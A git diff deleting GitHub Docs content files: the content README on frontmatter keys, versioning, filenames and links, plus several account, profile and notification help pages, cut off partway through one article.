diff --git a/content/README.md b/content/README.md
deleted file mode 100644
index 672c9629c755..000000000000
--- a/content/README.md
+++ /dev/null
@@ -1,418 +0,0 @@
-# Content
-
-The `/content` directory is where all the site's (English) Markdown content lives!
-
-See the [markup reference guide](https://docs.github.com/en/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs) for more information about supported Markdown features.
-
-See the [contributing docs](https://docs.github.com/en/contributing) for general information about working with the docs.
-
-- [Frontmatter](#frontmatter)
- - [`versions`](#versions)
- - [`redirect_from`](#redirect_from)
- - [`title`](#title)
- - [`shortTitle`](#shorttitle)
- - [`intro`](#intro)
- - [`permissions`](#permissions)
- - [`product`](#product)
- - [`layout`](#layout)
- - [`children`](#children)
- - [`childGroups`](#childgroups)
- - [`featuredLinks`](#featuredlinks)
- - [`showMiniToc`](#showminitoc)
- - [`allowTitleToDifferFromFilename`](#allowtitletodifferfromfilename)
- - [`changelog`](#changelog)
- - [`defaultPlatform`](#defaultplatform)
- - [`defaultTool`](#defaulttool)
- - [`learningTracks`](#learningtracks)
- - [`includeGuides`](#includeguides)
- - [`type`](#type)
- - [`topics`](#topics)
- - [`communityRedirect`](#communityRedirect)
- - [`effectiveDate`](#effectiveDate)
- - [Escaping single quotes](#escaping-single-quotes)
-- [Autogenerated mini TOCs](#autogenerated-mini-tocs)
-- [Versioning](#versioning)
-- [Filenames](#filenames)
-- [Whitespace control](#whitespace-control)
-- [Links](#links)
- - [Linking to the current article in a different version of the docs](#linking-to-the-current-article-in-a-different-version-of-the-docs)
- - [Preventing transformations](#preventing-transformations)
- - [Legacy filepaths and redirects for links](#legacy-filepaths-and-redirects-for-links)
- - [Index pages](#index-pages)
- - [Home page](#homepage)
- - [Creating new product guides pages](#creating-new-product-guides-pages)
-
-## Frontmatter
-
-[YAML Frontmatter](https://jekyllrb.com/docs/front-matter/) is an authoring
-convention popularized by Jekyll that provides a way to add metadata to pages.
-It is a block of key-value content that lives at the top of every Markdown file.
-
-The following frontmatter values have special meanings and requirements for this site.
-There's also a schema that's used by the test suite to validate every page's frontmatter.
-See [`lib/frontmatter.js`](/src/frame/lib/frontmatter.js).
-
-### `versions`
-
-- Purpose: Indicates the [versions](/src/versions/lib/all-versions.js) to which a page applies.
-See [Versioning](#versioning) for more info.
-- Type: `Object`. Allowable keys map to product names and can be found in the `versions` object in [`lib/frontmatter.js`](/src/frame/lib/frontmatter.js).
-- This frontmatter value is currently **required** for all pages.
-- The `*` is used to denote all releases for the version.
-
-Example that applies to GitHub.com and recent versions of GitHub Enterprise Server:
-
-```yaml
-title: About your personal dashboard
-versions:
- fpt: '*'
- ghes: '>=2.20'
-```
-
-Example that applies to all supported versions of GitHub Enterprise Server:
-(but not GitHub.com):
-
-```yaml
-title: Downloading your license
-versions:
- ghes: '*'
-```
-
-You can also version a page for a range of releases. This would version the page for GitHub.com, and GitHub Enterprise Server versions 2.22 and 3.0 only:
-
-```yaml
-versions:
- fpt: '*'
- ghes: '>=2.22 <3.1'
-```
-
-### `redirect_from`
-
-- Purpose: List URLs that should redirect to this page.
-- Type: `Array`
-- Optional
-
-Example:
-
-```yaml
-title: Getting started with GitHub Desktop
-redirect_from:
- - /articles/first-launch/
- - /articles/error-github-enterprise-version-is-too-old/
- - /articles/getting-started-with-github-for-windows/
-```
-
-See [`contributing/redirects`](../contributing/redirects.md) for more info.
-
-### `title`
-
-- Purpose: Set a human-friendly title for use in the rendered page's `
` tag and an `h1` element at the top of the page.
-- Type: `String`
-- Optional. If omitted, the page `` will still be set, albeit with a generic value like `GitHub.com` or `GitHub Enterprise`.
-
-### `shortTitle`
-
-- Purpose: An abbreviated variant of the page title for use in breadcrumbs and navigation elements.
-- Type: `String`
-- Optional. If omitted, `title` will be used.
-
-|Article type |Maximum character length |
---- | --- |
-|articles | 31 |
-|categories |27 |
-|map topics |30 |
-
-Example:
-
-```yaml
-title: Contributing to projects with GitHub Desktop
-shortTitle: Contributing to projects
-```
-
-### `intro`
-
-- Purpose: Sets the intro for the page. This string will render after the `title`.
-- Type: `String`
-- Optional.
-
-### `permissions`
-
-- Purpose: Sets the permission statement for the article. This string will render after the `intro`.
-- Type: `String`
-- Optional.
-
-### `product`
-
-- Purpose: Sets the product callout for the article. This string will render after the `intro` and `permissions` statement.
-- Type: `String`
-- Optional.
-
-### `layout`
-
-- Purpose: Render the proper page layout.
-- Type: `String` that matches the name of the layout.
-For a layout named `components/landing`, the value would be `product-landing`.
-- Optional. If omitted, `DefaultLayout` is used.
-
-### `children`
-
-- Purpose: Lists the relative links that belong to the product/category/map topic. See [Index pages](#index-pages) for more info.
-- Type: `Array`. Default is `false`.
-- Required on `index.md` pages.
-
-### `childGroups`
-
-- Purpose: Renders children into groups on the homepage. See [Homepage](#homepage) for more info.
-- Type: `Array`. Default is `false`.
-- Require on the homepage `index.md`.
-
-### `featuredLinks`
-
-- Purpose: Renders the linked articles' titles and intros on product landing pages and the homepage.
-- Type: `Object`.
-- Optional.
-
-The list of popular links are the links displayed on the landing page under the title "Popular." Alternately, you can customize the title "Popular" by setting the `featuredLinks.popularHeading` property to a new string.
-
-Example:
-
-```yaml
-featuredLinks:
- gettingStarted:
- - /path/to/page
- startHere:
- - /guides/example
- popular:
- - /path/to/popular/article1
- - /path/to/popular/article2
- popularHeading: An alternate heading to Popular
-```
-
-### `showMiniToc`
-
-- Purpose: Indicates whether an article should show a mini table of contents (TOC) above the rest of the content. See [Autogenerated mini TOCs](#autogenerated-mini-tocs) for more info.
-- Type: `Boolean`. Default is `true` on articles, and `false` on map topics and `index.md` pages.
-- Optional.
-
-### `allowTitleToDifferFromFilename`
-
-- Purpose: Indicates whether a page is allowed to have a title that differs from its filename. Pages with this frontmatter set to `true` will not be flagged in tests or updated by `src/content-render/scripts/reconcile-filenames-with-ids.js`. Use this value if a file's `title` frontmatter includes Liquid or punctuation that cannot be part of the filename. For example, the article [About Enterprise Managed Users](https://docs.github.com/en/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users) uses a Liquid reusable in its title, `'About {% data variables.product.prodname_emus %}'`, which cannot be in the filename, `about-enterprise-managed-users.md`, so the `allowTitleToDifferFromFilename` frontmatter is set to `true`.
-- Type: `Boolean`. Default is `false`.
-- Optional.
-
-### `changelog`
-
-- Purpose: Render a list of items pulled from [GitHub Changelog](https://github.blog/changelog/) on product landing pages (ex: `components/landing`). The one exception is Education, which pulls from https://github.blog/category/community/education.
-- Type: `Object`, properties:
- - `label` -- must be present and corresponds to the labels used in the [GitHub Changelog](https://github.blog/changelog/)
- - `prefix` -- optional string that starts each changelog title that should be omitted in the docs feed. For example, with the prefix `GitHub Actions: ` specified, changelog titles like `GitHub Actions: Some Title Here` will render as `Some Title Here` in the docs feed).
-- Optional.
-
-### `defaultPlatform`
-
-- Purpose: Override the initial platform selection for a page. If this frontmatter is omitted, then the platform-specific content matching the reader's operating system is shown by default. This behavior can be changed for individual pages, for which a manual selection is more reasonable. For example, most GitHub Actions runners use Linux and their operating system is independent of the reader's operating system.
-- Type: `String`, one of: `mac`, `windows`, `linux`.
-- Optional.
-
-Example:
-
-```yaml
-defaultPlatform: linux
-```
-
-### `defaultTool`
-
-- Purpose: Override the initial tool selection for a page, where the tool refers to the application the reader is using to work with GitHub (such as GitHub.com's web UI, the GitHub CLI, or GitHub Desktop) or the GitHub APIs. For more information about the tool selector, see [Markup reference for GitHub Docs](../contributing/content-markup-reference.md#tool-tags). If this frontmatter is omitted, then the tool-specific content matching the GitHub web UI is shown by default. If a user has indicated a tool preference (by clicking on a tool tab), then the user's preference will be applied instead of the default value.
-- Type: `String`, one of: `webui`, `cli`, `desktop`, `curl`, `codespaces`, `vscode`, `importer_cli`, `graphql`, `powershell`, `bash`, `javascript`.
-- Optional.
-
-```yaml
-defaultTool: cli
-```
-
-### `learningTracks`
-- Purpose: Render a list of learning tracks on a product's sub-landing page.
-- type: `String`. This should reference learning tracks' names defined in [`data/learning-tracks/*.yml`](../data/learning-tracks/README.md).
-- Optional
-
-**Note: the featured track is set by a specific property in the learning tracks YAML. See that [README](../data/learning-tracks/README.md) for details.*
-
-### `includeGuides`
-- Purpose: Render a list of articles, filterable by `type` and `topics`. Only applicable when used with `layout: product-guides`.
-- Type: `Array`
-- Optional.
-
-Example:
-
-```yaml
-includeGuides:
- - /actions/guides/about-continuous-integration
- - /actions/guides/setting-up-continuous-integration-using-workflow-templates
- - /actions/guides/building-and-testing-nodejs
- - /actions/guides/building-and-testing-powershell
-```
-
-### `type`
-- Purpose: Indicate the type of article.
-- Type: `String`, one of the `overview`, `quick_start`, `tutorial`, `how_to`, `reference`.
-- Optional.
-
-### `topics`
-- Purpose: Indicate the topics covered by the article. Refer to the content models for more details about adding topics. A full list of existing topics is located in the [allowed topics file](/data/allowed-topics.js). If topics in article frontmatter and the allow-topics list become out of sync, the [topics CI test](/src/search/tests/topics.js) will fail.
-- Type: Array of `String`s
-- Optional: Topics are preferred for each article, but, there may be cases where existing articles don't yet have topics, or adding a topic to a new article may not add value.
-
-### `communityRedirect`
-- Purpose: Set a custom link and link name for `Ask the GitHub community` link in the footer.
-- Type: `Object`. Properties are `name` and `href`.
-- Optional.
-
-### `effectiveDate`
-- **For GitHub staff only**: Set an effective date for Terms of Service articles so that engineering teams can automatically re-prompt users to confirm the terms
-- Type: `string` YEAR-MONTH-DAY e.g. 2021-10-04 is October 4th, 2021
-- Optional.
-
-### Escaping single quotes
-
-If you see two single quotes in a row (`''`) in YML frontmatter where you might expect to see one (`'`), this is the YML-preferred way to escape a single quote. From [the YAML spec](https://yaml.org/spec/history/2001-12-10.html):
-
-> In single-quoted leaves, a single quote character needs to be escaped. This is done by repeating the character.
-
-As an alternative, you can change the single quotes surrounding the frontmatter field to double quotes and leave interior single quotes unescaped.
-
-## Autogenerated mini TOCs
-
-Every article displays a mini table of contents (TOC), which is an autogenerated "In this article" section that includes links to all `H2`s in the article. Only `H2` headers are included in the mini TOCs. If an article uses `H3` or `H4` headers to divide information in a way that only certain sections are relevant to a particular task, you can help people navigate to the content most relevant to them by using a [sectional TOC](../contributing/content-style-guide.md#sectional-tocs).
-
-Mini TOCs do not appear on product landing pages, category landing pages, or map topic pages.
-
-Do not add hardcoded "In this article" sections in the Markdown source or else the page will display duplicate mini TOCs.
-
-## Versioning
-
-A content file can have **two** types of versioning:
-
-- [`versions`](#versions) frontmatter (**required**)
- - Determines in which versions the page is available. See [Versioning documentation](https://docs.github.com/en/contributing/writing-for-github-docs/versioning-documentation) for more info.
-- Liquid statements in content (**optional**)
- - Conditionally render content depending on the current version being viewed. See [Versioning documentation](https://docs.github.com/en/contributing/writing-for-github-docs/versioning-documentation#versioning-with-liquid-conditional-operators) for more info. Note Liquid conditionals can also appear in `data` and `include` files.
-
-**Note**: As of early 2021, the `free-pro-team@latest` version is not included URLs. A helper function called `src/versions/lib/remove-fpt-from-path.js` removes the version from URLs.
-
-## Filenames
-
-When adding a new article, the filename is a [kebab-cased](https://en.wikipedia.org/wiki/Letter_case#Kebab_case) version of the article's [`title`](#title) frontmatter. For example, the article [About GitHub CLI](https://docs.github.com/en/github-cli/github-cli/about-github-cli) has a `title` frontmatter of `About GitHub CLI` and a filename of `about-github-cli.md`.
-
-Directory names for categories and map topics can match the `title` or `shortTitle` frontmatter.
-
-For a title that contains punctuation (such as "GitHub's Billing Plans"), you can omit the punctuation in the filename (`githubs-billing-plans.md`). For a title that uses a Liquid variable (such as `About {% data variables.product.prodname_emus %}`), you can use the words that the Liquid renders as in the filename (`about-enterprise-managed-users.md`). A test will flag any discrepancies between title and filename. To override the requirement that titles and filenames match for a given article, you can add [`allowTitleToDifferFromFilename`](#allowtitletodifferfromfilename) in the frontmatter.
-
-## Whitespace control
-
-When using Liquid conditionals in lists or tables, you can use [whitespace control](https://shopify.github.io/liquid/basics/whitespace/) characters to prevent the addition of newlines and other whitespace that would break the list or table rendering.
-
-You can add a hyphen (`-`) on either the left, right, or both sides to indicate that there should be no newline or other whitespace on that side.
-
-```
-{%- ifversion fpt %}
-```
-
-For example, to version a table row, instead of adding liquid versioning for the row starting at the end of the previous row, like this:
-
-```
-Column A | Column B | Column C
----------|----------|---------
-This row is for all versions | B1 | C1{% ifversion ghes %}
-This row is for GHES only | B2 | C2{% endif %}
-This row is for all versions | B3 | C3
-```
-
-You can include the liquid versioning on its own line and use whitespace control to strip the newline to the left of the liquid tag. This makes reading the source much easier, without breaking the rendering of the table:
-
-```
-Column A | Column B | Column C
----------|----------|---------
-This row is for all versions | B1 | C1
-{%- ifversion ghes %}
-This row is for GHES only | B2 | C2
-{%- endif %}
-This row is for all versions | B3 | C3
-```
-
-## Links
-
-Links to docs in the `docs-internal` repository must start with a product ID (like `/actions` or `/admin`) and contain the entire filepath, but not the file extension. For example, `/actions/creating-actions/about-custom-actions`.
-
-Image paths must start with `/assets` and contain the entire filepath including the file extension. For example, `/assets/images/help/settings/settings-account-delete.png`.
-
-The links to Markdown pages undergo some transformations on the server side to match the current page's language and version. The handling for these transformations lives in [`src/content-render/unified/rewrite-local-links.js`](/src/content-render/unified/rewrite-local-links.js).
-
-For example, if you include the following link in a content file:
-
-```
-/github/writing-on-github/creating-a-saved-reply
-```
-When viewed on GitHub.com docs, the link gets rendered with the language code:
-```
-/en/github/writing-on-github/creating-a-saved-reply
-```
-and when viewed on GitHub Enterprise Server docs, the version is included as well:
-```
-/en/enterprise-server@2.20/github/writing-on-github/creating-a-saved-reply
-```
-
-### Using AUTOTITLE for internal links
-
-If you create an internal link, you can use the AUTOTITLE keyword to generate an article's title in the rendered link. See the [markup reference](https://docs.github.com/en/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs#internal-links-with-autotitle) for details.
-
-### Linking to the current article in a different version of the docs
-
-Sometimes you may want to link from an article to the same article in a different product version. For example:
-
-- You mention some functionality that is not available for free, pro, or team plans and you want to link to the GitHub Enterprise Cloud version of the same page.
-- The GitHub Enterprise Server version of an article describes a feature that shipped with that version, but site administrators can upgrade to the latest version of the feature that's in use on GitHub Enterprise Cloud.
-
-You can link directly to a different version of the page using the `currentArticle` property. This means that the link will continue to work directly even if the article URL changes.
-
-```markdown
-{% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/{{ currentArticle }}).{% endif %}
-```
-
-### Preventing transformations
-
-Sometimes you want to link to a Dotcom-only article in Enterprise content and you don't want the link to be Enterprise-ified. To prevent the transformation, you should include the preferred version in the path.
-
-```markdown
-[GitHub's Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service)
-```
-
-Sometimes the canonical home of content moves outside the docs site. None of the links included in [`src/redirects/lib/external-sites.json`](/src/redirects/lib/external-sites.json) get rewritten. See [`contributing/redirects.md`](/contributing/redirects.md) for more info about this type of redirect.
-
-### Legacy filepaths and redirects for links
-
-Our docs contain links that use legacy filepaths such as `/article/article-name` or `/github/article-name`. Our docs also contain links that refer to articles by past names. Both of these link types function properly because of redirects, but they are bugs.
-
-When you add a link to an article, use the current filepath and article name.
-
-### Index pages
-
-Index pages are the Table of Contents files for the docs site. Every product, category, and map topic subdirectory has an `index.md` that serves as the landing page. Each `index.md` must contain a `children` frontmatter property with a list of relative links to the child pages of the product, category, or map topic.
-
-**Important note**: The site only knows about paths included in `children` frontmatter. If a directory or article exists but is **not** included in `children`, its path will 404.
-
-### Homepage
-
-The homepage is the main Table of Contents file for the docs site. The homepage must have a complete list of `children`, like every [Index page](#index-page) but must also specify the `childGroups` frontmatter property that will be highlighted in the main content area.
-
-`childGroups` is an array of mappings containing a `name` for the group, an optional `icon` for the group, and an array of `children`. The `children` in the array must be present in the `children` frontmatter property.
-
-### Creating new product guides pages
-
-To create a product guides page (e.g. [Actions' Guide page](https://docs.github.com/en/actions/guides)), create or modify an existing markdown file with these specific frontmatter values:
-
-1. Use the product guides page template by referencing `layout: product-guides`.
-1. (optional) Include the learning tracks in [`learningTracks`](#learningTracks).
-1. (optional) Define which articles to include with [`includeGuides`](#includeGuides).
-
-If using learning tracks, they need to be defined in [`data/learning-tracks/*.yml`](../data/learning-tracks/README.md).
-If using `includeGuides`, make sure each of the articles in this list has [`topics`](#topics) and [`type`](#type) in its frontmatter.
diff --git a/content/account-and-profile/index.md b/content/account-and-profile/index.md
deleted file mode 100644
index e50fb327771f..000000000000
--- a/content/account-and-profile/index.md
+++ /dev/null
@@ -1,39 +0,0 @@
----
-title: Account and profile documentation
-shortTitle: Account and profile
-intro: 'Make {% data variables.product.github %} work best for you by adjusting the settings for your personal account, personalizing your profile page, and managing the notifications you receive.'
-introLinks:
- quickstart: /get-started/onboarding/getting-started-with-your-github-account
-featuredLinks:
- startHere:
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username
- - /account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme
- - /account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications
- popular:
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository
- - /account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications
- guideCards:
- - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile
- - /account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address
- - '{% ifversion ghes %}/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories{% endif %}'
-changelog:
- label: 'profiles, github-themes, notifications'
- versions:
- fpt: '*'
- ghec: '*'
-layout: product-landing
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
- - Profiles
- - Notifications
-children:
- - /setting-up-and-managing-your-personal-account-on-github
- - /setting-up-and-managing-your-github-profile
- - /managing-subscriptions-and-notifications-on-github
----
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
deleted file mode 100644
index a39e5a103ff2..000000000000
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: Managing subscriptions and notifications on GitHub
-intro: 'You can specify how to receive notifications, the repositories you are interested in, and the types of activity you want to hear about.'
-redirect_from:
- - /categories/76/articles
- - /categories/notifications
- - /categories/receiving-notifications-about-activity-on-github
- - /github/managing-subscriptions-and-notifications-on-github
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Notifications
-children:
- - /setting-up-notifications
- - /viewing-and-triaging-notifications
- - /managing-subscriptions-for-activity-on-github
-shortTitle: Subscriptions & notifications
----
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md
deleted file mode 100644
index f091a3dbabce..000000000000
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: Managing subscriptions for activity on GitHub
-intro: 'To maintain sustainable notification workflows, understand and regularly review your subscriptions.'
-redirect_from:
- - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Notifications
-children:
- - /viewing-your-subscriptions
- - /managing-your-subscriptions
-shortTitle: Manage subscriptions
----
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
deleted file mode 100644
index a3f3e55c7689..000000000000
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
+++ /dev/null
@@ -1,76 +0,0 @@
----
-title: Managing your subscriptions
-intro: 'To help you manage your notifications efficiently, there are several ways to unsubscribe.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Notifications
-redirect_from:
- - /github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions
- - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions
-shortTitle: Manage your subscriptions
----
-To help you understand your subscriptions and decide whether to unsubscribe, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions).
-
-> [!NOTE]
-> Instead of unsubscribing, you have the option to ignore a repository. If you ignore a repository, you won't receive any notifications. We don't recommend ignoring repositories as you won't be notified if you're @mentioned. {% ifversion fpt or ghec %}If you're experiencing abuse and want to ignore a repository, please visit {% data variables.contact.contact_support_page %} so we can help. {% data reusables.policies.abuse %}{% endif %}
-
-## Choosing how to unsubscribe
-
-To unwatch (or unsubscribe from) repositories quickly, navigate to [github.com/watching](https://github.com/watching) to see all the repositories you're following. For more information, see [Unwatching repositories](#unwatching-repositories).
-
-To unsubscribe from multiple notifications at the same time, you can unsubscribe using your inbox or on the subscriptions page. Both of these options offer more context about your subscriptions than the "Watched repositories" page.
-
-### Benefits of unsubscribing from your inbox
-
-When you unsubscribe from notifications in your inbox, you have several other triaging options and can filter your notifications by custom filters and discussion types. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox).
-
-### Benefits of unsubscribing from the subscriptions page
-
-When you unsubscribe from notifications on the subscriptions page, you can see more of the notifications you're subscribed to and sort them by "Most recently subscribed" or "Least recently subscribed."
-
-The subscriptions page shows you all of the notifications that you're currently subscribed to, including notifications that you have marked as **Done** in your inbox.
-
-You can only filter your subscriptions by repository and the reason you're receiving the notification.
-
-## Unsubscribing from notifications in your inbox
-
-When you unsubscribe from notifications in your inbox, they will automatically disappear from your inbox.
-
-{% data reusables.notifications.access_notifications %}
-1. From the notifications inbox, select the notifications you want to unsubscribe to.
-1. Click **Unsubscribe.**
-
- 
-
-## Unsubscribing from notifications on the subscriptions page
-
-{% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories, select the "Manage notifications" dropdown menu and click **Subscriptions**.
-
- 
-
-1. Select the notifications you want to unsubscribe from. In the top right, click **Unsubscribe**.
-
-## Unwatching repositories
-
-When you unwatch a repository, you unsubscribe from future updates from that repository unless you participate in a conversation or are @mentioned.
-
-{% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories, select the "Manage notifications" dropdown menu and click **Watched repositories**.
-
- 
-
-1. On the watched repositories page, after you've evaluated the repositories you're watching, choose whether to:
-
- * Unwatch a repository by choosing to only receive notifications when participating or mentioned
- * Ignore all notifications for a repository
- * If enabled, customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %})
-
-1. Optionally, to unsubscribe from all repositories owned by a given user or organization, select the **Unwatch all** dropdown and click the organization whose repositories you'd like to unsubscribe from. The button to unwatch all repositories is only available if you are watching all activity or custom notifications on over 10 repositories.
-
- 
-
- * Click **Unwatch** to confirm that you want to unwatch the repositories owned by the selected user or organization, or click **Cancel** to cancel.
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
deleted file mode 100644
index cb097d8393f9..000000000000
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
+++ /dev/null
@@ -1,65 +0,0 @@
----
-title: Viewing your subscriptions
-intro: 'To understand where your notifications are coming from and your notifications volume, we recommend reviewing your subscriptions and watched repositories regularly.'
-redirect_from:
- - /articles/subscribing-to-conversations
- - /articles/unsubscribing-from-conversations
- - /articles/subscribing-to-and-unsubscribing-from-notifications
- - /articles/listing-the-issues-and-pull-requests-youre-subscribed-to
- - /articles/watching-repositories
- - /articles/unwatching-repositories
- - /articles/watching-and-unwatching-repositories
- - /articles/watching-and-unwatching-releases-for-a-repository
- - /articles/watching-and-unwatching-team-discussions
- - /articles/listing-watched-repositories
- - /articles/listing-the-repositories-you-re-watching
- - /articles/listing-the-repositories-youre-watching
- - /github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions
- - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Notifications
-shortTitle: View subscriptions
----
-You receive notifications for your subscriptions of ongoing activity on {% data variables.product.github %}. There are many reasons you can be subscribed to a conversation. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications#notifications-and-subscriptions).
-
-We recommend auditing and unsubscribing from your subscriptions as a part of a healthy notifications workflow. For more information about your options for unsubscribing, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions).
-
-## Diagnosing why you receive too many notifications
-
-When your inbox has too many notifications to manage, consider whether you have oversubscribed or how you can change your notification settings to reduce the subscriptions you have and the types of notifications you're receiving. For example, you may consider disabling the settings to automatically watch all repositories {% ifversion team-discussions %}and all team discussions{% endif %} whenever you've joined a team or repository. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#automatic-watching).
-
-To see an overview of your repository subscriptions, see [Reviewing repositories that you're watching](#reviewing-repositories-that-youre-watching).
-
-> [!TIP]
-> You can select the types of event to be notified of by using the **Custom** option of the **Watch/Unwatch** dropdown list in your [watching page](https://github.com/watching) or on any repository page on {% data variables.product.github %}. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository).
-
-Many people forget about repositories that they've chosen to watch in the past. From the "Watched repositories" page you can quickly unwatch repositories. For more information on ways to unsubscribe, see [Unwatch recommendations](https://github.blog/changelog/2020-11-10-unwatch-recommendations/) on {% data variables.product.prodname_blog %} and [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions). You can also create a triage workflow to help with the notifications you receive. For guidance on triage workflows, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications).
-
-## Reviewing all of your subscriptions
-
-{% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories that you have notifications from, use the "Manage notifications" drop-down to click **Subscriptions**.
- 
-
-1. Use the filters and sort to narrow the list of subscriptions and begin unsubscribing to conversations you no longer want to receive notifications for.
-
- 
-
-> [!TIP]
-> * To review subscriptions you may have forgotten about, sort by "least recently subscribed."
-> * To review a list of repositories that you can still receive notifications for, see the repository list in the "filter by repository" drop-down menu.
-
-## Reviewing repositories that you're watching
-
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down menu and click **Watched repositories**.
- 
-1. Evaluate the repositories that you are watching and decide if their updates are still relevant and helpful. When you watch a repository, you will be notified of all conversations for that repository.
-
- > [!TIP]
- > Instead of watching a repository, consider only receiving notifications when there are updates to {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or any combination of these options, or completely unwatching a repository.
- >
- > When you unwatch a repository, you can still be notified when you're @mentioned or participating in a thread. When you configure to receive notifications for certain event types, you're only notified when there are updates to these event types in the repository, you're participating in a thread, or you or a team you're on is @mentioned.
diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
deleted file mode 100644
index f298ebac0191..000000000000
--- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
+++ /dev/null
@@ -1,92 +0,0 @@
----
-title: About notifications
-intro: 'Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} that you''ve subscribed to. You can use the notifications inbox to customize, triage, and manage your updates.'
-redirect_from:
- - /articles/notifications
- - /articles/about-notifications
- - /github/managing-subscriptions-and-notifications-on-github/about-notifications-beta
- - /github/managing-subscriptions-and-notifications-on-github/about-notifications
- - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Notifications
----
-
-## Notifications and subscriptions
-
-You can choose to receive ongoing updates about specific activity on {% data variables.product.prodname_dotcom %} through a subscription. Notifications are updates that you receive for specific activity that you are subscribed to.
-
-### Subscription options
-
-You can choose to subscribe to notifications for:
-* A conversation in a specific issue, pull request, or gist
-* All activity in a repository{% ifversion team-discussions %} or team discussion{% endif %}
-* CI activity, such as the status of workflows in repositories set up with {% data variables.product.prodname_actions %}
-* Repository {% data reusables.notifications-v2.custom-notification-types %} (if enabled)
-
-You can also choose to automatically watch all repositories that you have push access to, except forks. You can watch any other repository you have access to manually by clicking **Watch**.
-
